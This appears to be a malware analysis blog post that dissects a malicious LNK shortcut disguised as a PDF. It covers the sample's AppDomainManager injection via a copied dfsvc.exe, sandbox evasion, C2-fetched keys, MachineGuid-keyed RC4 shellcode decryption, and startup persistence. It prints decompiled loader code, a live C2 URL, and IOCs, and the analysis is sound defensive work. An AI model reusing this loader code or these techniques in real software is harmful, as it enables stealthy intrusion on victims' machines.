AppDomain Hijacking: Analyzing a LNK malware
Overview
Windows shortcut files use the .lnk file extension and function as a virtual link that allows people to easily access other files without having to navigate through multiple folders on a Windows host. The flexibility of LNK files makes them a powerful tool for attackers, as they can both execute malicious content and masquerade as legitimate files to deceive victims into unintentionally launching malware.
Figure: Execution Flow of malware
Technical Analysis
On getting lnk file i quickly looked into its metadata to find out the arguments it is utilizing and its clear that it has configured to look as a pdf file and since lnk extensions gets hidden in windows, it makes it more suitable as a attack vector. On dumping the configuration of the sample i found out that it is launching powershell in background with setting the exeution policy to bypass and also stops and user profile scripts from loading by -nop, sets the working directory to temp directory. Then, it reads itself after 2087 offset, mainly it extracts the next part of payload and writes it and executes it.
So i used a python script to extract the second part of the malware -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64
import os
LNK_FILENAME = 'malware.lnk'
OFFSET = 2087
READ_LENGTH = 930304
def extract_payload():
if not os.path.exists(LNK_FILENAME):
print(f"[-] Error: Could not find the file '{LNK_FILENAME}'.")
return
print(f"[*] Opening {LNK_FILENAME} and seeking to offset {OFFSET}...")
try:
with open(LNK_FILENAME, 'rb') as f:
f.seek(OFFSET)
# Read the exact chunk of base64 data
b64_bytes = f.read(READ_LENGTH)
print("[*] Decoding the first Base64 layer...")
decoded_layer1 = base64.b64decode(b64_bytes)
#UTF-16LE
string_layer1 = decoded_layer1.decode('utf-16le')
print("[*] Splitting the decoded string by ':' delimiter...")
parts = string_layer1.split(':')
if len(parts) > 4:
target_part = parts[4]
print("[*] Decoding the final Base64 payload...")
final_payload_bytes = base64.b64decode(target_part)
final_payload_string = final_payload_bytes.decode('utf-8')
print("[*] Writing extracted script to out.ps1...")
with open('out.ps1', 'w', encoding='utf-8') as out_f:
out_f.write(final_payload_string)
print("[+] Success! The payload has been saved to 'out.ps1'.")
else:
print("[-] Error: The decoded data didn't contain the expected delimiters")
except Exception as e:
print(f"[-] An error occurred during extraction: {e}")
if __name__ == "__main__":
extract_payload()
And it turned out that it is first searching for current user’s startup folder to run if any binary is there and then to achieve it, it copies a legitimate windows binary dfsvc.exe of .NET framework to the startup folder with a name of NetworkConfig.exe because signed binaries bypasses basic AV checks. Then, it copies something from lnk file and stores it as a config named NetworkConfig.exe.config, this to forcefully load the dll, which it is extracting just after this as NetworkConfig.dll. After all this, it extracts another conf from lnk and stores it in NetworkConfig.conf and then starts the copied binary.
Figure 2: Second payload extracted from lnk
So, I extracted all the required files from the lnk using python script -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import base64
import os
LNK_FILENAME = 'malware.lnk'
OFFSET = 2087
READ_LENGTH = 930304
def extract_all_payloads():
if not os.path.exists(LNK_FILENAME):
print(f"[-] Error: Could not find '{LNK_FILENAME}'.")
return
print(f"[*] Opening {LNK_FILENAME} and seeking to offset {OFFSET}...")
try:
with open(LNK_FILENAME, 'rb') as f:
f.seek(OFFSET)
b64_bytes = f.read(READ_LENGTH)
print("[*] Decoding the first Base64 layer...")
decoded_layer1 = base64.b64decode(b64_bytes)
#UTF-16LE
string_layer1 = decoded_layer1.decode('utf-16le')
print("[*] Splitting the decoded string into the $a array...")
parts = string_layer1.split(':')
if len(parts) >= 5:
print("[*] Found components Extracting...\n")
files_to_dump = [
("NetworkConfig.exe.config", parts[0]), # $a[0]
("NetworkConfig.dll", parts[1]), # $a[1]
("decoy.pdf", parts[2]), # $a[2] - The fake document
("NetworkConfig.conf", parts[3]), # $a[3] - The encrypted payload
]
for filename, b64_data in files_to_dump:
try:
raw_bytes = base64.b64decode(b64_data)
with open(filename, 'wb') as out_f:
out_f.write(raw_bytes)
print(f"[+] Successfully wrote: {filename} ({len(raw_bytes)} bytes)")
except Exception as e:
print(f"[-] Failed to process {filename}: {e}")
print("\n[!] Extraction complete")
else:
print("[-] Error: Check the offset/length.")
except Exception as e:
print(f"[-] A fatal error occurred: {e}")
if __name__ == "__main__":
extract_all_payloads()
The config file NetworkConfig.exe.config is a way of using AppDomainManager Injection for DLL-Side loading by defining some attributes in XML file that tells the .NET Runtime to load custom app domain manager named NetworkConfig before executing main application.
Figure 3: AppDomainManager Injection
Now opening the dll in a decompiler, first thing I uncovered that the malware is using unicode characters like U+00A0, mostly invisible characters which is common obfuscation technique in .NET sample. Now the function u00a0 is used to crafting a standard HTTP request for fetching data and just after this another function named u00a0 which is checking some common sandbox evasion techniques, first it checks is default domain if its being tampered, checks existence of NetworkConfig.conf file, sleep loop for automated sandboxes.
Figure 4: Sandbox evasion techniques
But before moving any further we have to find out the string decryption engine to understand what strings are being passed rather than guessing. On expanding PrivateImplementatioDetails, there is a constructor u003670D375Bu002dB8F4u002d45A4u002d94F9u002d00A08E8BCEA0() that is just xoring a blob of data using current index and constant 204. And based on this other getter functions have been created to return these decrypted values, So i decrypted these strings and correctly mapping each of them with required getter functions. I found interesting things from this like C2 url, endpoints, User-Agent, Names, RegKey used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Index 00 (Offset 0, Len 17): NetworkConfig.dll
Index 01 (Offset 17, Len 24): NetworkConfig.exe.config
Index 02 (Offset 41, Len 18): NetworkConfig.conf
Index 03 (Offset 59, Len 80): Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder
Index 04 (Offset 139, Len 6): chrome
Index 05 (Offset 145, Len 5): brave
Index 06 (Offset 150, Len 12): PipesOfPiece
Index 07 (Offset 162, Len 9): AABBCC123
Index 08 (Offset 171, Len 10): {0}{1}/{2}
Index 09 (Offset 181, Len 3): GET
Index 10 (Offset 184, Len 23): text/html;charset=UTF-8
Index 11 (Offset 207, Len 13): DefaultDomain
Index 12 (Offset 220, Len 50): HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
Index 13 (Offset 270, Len 11): MachineGuid
Index 14 (Offset 281, Len 36): 849d16c2-829f-4e19-93ba-cb0e2c309afc
Index 15 (Offset 317, Len 29): https://mskmailforwarder.com/
Index 16 (Offset 346, Len 81): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.22621.4249
Index 17 (Offset 427, Len 19): \NetworkConfig.conf
Index 18 (Offset 446, Len 12): api/auth.php
Index 19 (Offset 458, Len 22): api/batchLogHandle.php
Index 20 (Offset 480, Len 65): \Microsoft\Windows\Start Menu\Programs\Startup\NetworkConfig.conf
Now coming to InitializeNewDomain function, first thing it does is calls \u1680.\u1680(); which opens makes a new seperate thread and creates a named pipe PipesOfPiece and starts a infinite while loop that waits for client program to connect and reads whatever client sends, reverse it and sends back to client and then close the connection and this loop continues. Now \u1680.\u00a0();, it queries registery for value of chrome and brave and it also creates a named pipe and sends AABBCC123 to server and closes the pipe.
Figure 5: Creating Named pipes
Figure 6: Sandbox evasion techniques
Then, it calls global::\u00a0.\u00a0.\u00a0(); which reads or creates the registry key if didn’t exist Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder and disable the autostart program 3, 0, 0, 0 from hardcoded command, which disables its non-executables NetworkConfig.dll, NetworkConfig.exe.config, NetworkConfig.conf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using Microsoft.Win32;
public static void \u00a0()
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder");
if (registryKey != null)
{
byte[] value = new byte[12]
{
3, 0, 0, 0, 222, 170, 80, 144, 242, 136, //disables
219, 1
};
string[] array = new string[3]{"NetworkConfig.dll", "NetworkConfig.exe.config", "NetworkConfig.conf"};
foreach (string name in array)
{
registryKey.SetValue(name, value, RegistryValueKind.Binary);
}
registryKey.Close();
}
}
Then it crafts, the url https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/auth[.]php makes request to it and maps a memory region of 150000 bytes with RWX permissions, this will be the region where it will drop its main shellcode, then if the file C:\Users\<Username>\AppData\Local\NetworkConfig.conf exists but on the first run it won’t be there, then it takes this file as 1st parameter and value of registry MachineGuid from HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography as 2nd into \u2001.\u00a0() which is basically a RC4 cipher which uses the MachineGuid as the key after xoring it wtih 0x41 to decrpyt the main shellcode. Else it will take response from https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/batchLogHandle[.]php and XOR it with 0x41 and use it to decrypt the shellcode and stores it an array and then again re-encrypts the shellcode but using the victim’s MachineGuid and save into C:\Users\<Username>\AppData\Local\NetworkConfig.conf then delete the original file NetworkConfig.conf, and writes this shellcode into the mapped memory region. In the initial run the else would be executed and that uses C2 key for initial decryption of payload, then on reboot the if block executes which uses Victim keys for decryption of shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public override void InitializeNewDomain(AppDomainSetup P_0)
{
\u1680.\u1680(); // create named pipe
\u1680.\u00a0(); // probe chrome and brave registry
bool num = \u00a0(); // common evasion technique
global::\u00a0.\u00a0.\u00a0(); // disable autostart program
if (num)
{
\u00a0(string.Format(670D375B-B8F4-45A4-94F9-00A08E8BCEA0.\u2006(), \u2004.\u1680, \u2004.\u00a0, \u2004.\u2002)); // make request to https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/auth[.]php
return;
}
int num2 = 150000; // size of memory to be mapped
MemoryMappedViewAccessor memoryMappedViewAccessor = MemoryMappedFile.CreateNew(null, num2, MemoryMappedFileAccess.ReadWriteExecute).CreateViewAccessor(0L, num2, MemoryMappedFileAccess.ReadWriteExecute);
string text = \u2004.\u2001; // location of NetworkConfig.conf
byte[] array;
if (File.Exists(text))
{
array = \u2001.\u00a0(\u2000.\u00a0(text), \u2001.\u00a0(\u2001.\u00a0)); // array = rc4(read_file(C:\Users\<Username>\AppData\Local\NetworkConfig.conf), xor_with_0x41(MachineGuid))
}
else
{
string text2 = string.Format(670D375B-B8F4-45A4-94F9-00A08E8BCEA0.\u2006(), \u2004.\u1680, \u2004.\u00a0, \u2004.\u2003);
byte[] array2 = \u2001.\u00a0(\u00a0(text2)); // xor reponse of https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/batchLogHandle[.]php with 0x41
\u1680.\u00a0();
array = \u2001.\u00a0(\u2000.\u00a0(\u2004.\u2004), array2); // array = rc4(read_file(NetworkConfig.conf), xored_response_as_key)
\u2000.\u00a0(text, \u2001.\u00a0(array, \u2001.\u00a0(\u2001.\u00a0))); // rencryptes NetworkConfig.conf using victim MachineGuid
File.Delete(\u2004.\u2004); // deletes original NetworkConfig.conf
}
\u1680.\u00a0();
new \u2003().\u00a0(memoryMappedViewAccessor, array); // write decrypted shellcode to mapped memory region
}
Since the C2 infra is offline I won’t able to proceed further with analysis.
Conclusion
The malware uses a sophisticated approach to payload delivery, evasion, and environmental keying. By leveraging an AppDomain hijack to side-load its core DLL through a legitimate Microsoft binary (dfsvc.exe). Instead of relying on a static decryption key, the loader implements a dynamic, phase-based execution flow. The initial infection mandates a live connection to the attacker’s C2 infrastructure to fetch the master key via a custom XOR routine, effectively neutralizing offline static analysis and sandboxing. Once decrypted in memory, the malware pivots: it re-encrypts the raw shellcode using the victim’s unique registry MachineGuid and caches it in %LocalAppData%. Ultimately, while burned C2 infrastructure can prevent the static extraction of the initial dropper’s shellcode.
IOCs
- C2 Domain -
mskmailforwarder[.]com - Endpoints -
api/auth.php, api/batchLogHandle.php - Dropped Files -
NetworkConfig.conf, NetworkConfig.exe.config, NetworkConfig.dll - Registries -
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid, HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder - Hashes
1 2 3 4
194668569a83fa94b74eb676ab56e8bb -> LNK malware 4a672428be43949fc3445a9040d94839 -> NetworkConfig.conf 4c6bd741919da9776dadf0c0d3e8f84b -> NetworkConfig.exe.config 87c74787cd277ac678c555be3e4980bb -> NetworkConfig.dll
